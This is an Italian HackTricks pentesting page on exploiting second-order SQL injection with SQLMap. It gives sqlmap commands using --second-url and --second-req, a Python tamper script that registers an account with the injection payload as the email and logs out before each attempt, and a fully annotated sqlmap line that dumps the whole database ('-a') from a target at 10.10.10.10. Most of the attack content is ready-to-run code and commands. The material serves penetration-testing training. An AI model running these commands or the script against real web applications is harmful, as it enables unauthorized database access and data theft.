Second Order Injection - SQLMap

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

SQLMap può sfruttare le SQLi di secondo ordine. È necessario fornire:

  • La richiesta in cui il payload di SQL injection verrà salvato

  • La richiesta in cui il payload verrà eseguito

La richiesta in cui il payload di SQL injection viene salvato è indicata come in qualsiasi altra injection in sqlmap. La richiesta in cui sqlmap può leggere l'output/esecuzione dell'injection può essere indicata con --second-url o con --second-req se è necessario indicare una richiesta completa da un file.

Esempio semplice di secondo ordine:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

In diversi casi questo non sarà sufficiente perché sarà necessario eseguire altre azioni oltre all'invio del payload e all'accesso a una pagina diversa.

Quando ciò è necessario, è possibile utilizzare un tamper di sqlmap. Ad esempio, lo script seguente registrerà un nuovo utente utilizzando il payload di sqlmap come email e effettuerà il logout.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Un tamper di SQLMap viene sempre eseguito prima di avviare un tentativo di iniezione con un payload e deve restituire un payload. In questo caso non ci interessa il payload ma ci interessa inviare alcune richieste, quindi il payload non viene modificato.

Quindi, se per qualche motivo abbiamo bisogno di un flusso più complesso per sfruttare la seconda iniezione SQL di ordine come:

  • Creare un account con il payload SQLi all'interno del campo "email"

  • Disconnettersi

  • Effettuare il login con quell'account (login.txt)

  • Inviare una richiesta per eseguire l'iniezione SQL (second.txt)

Questa linea di sqlmap sarà utile:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated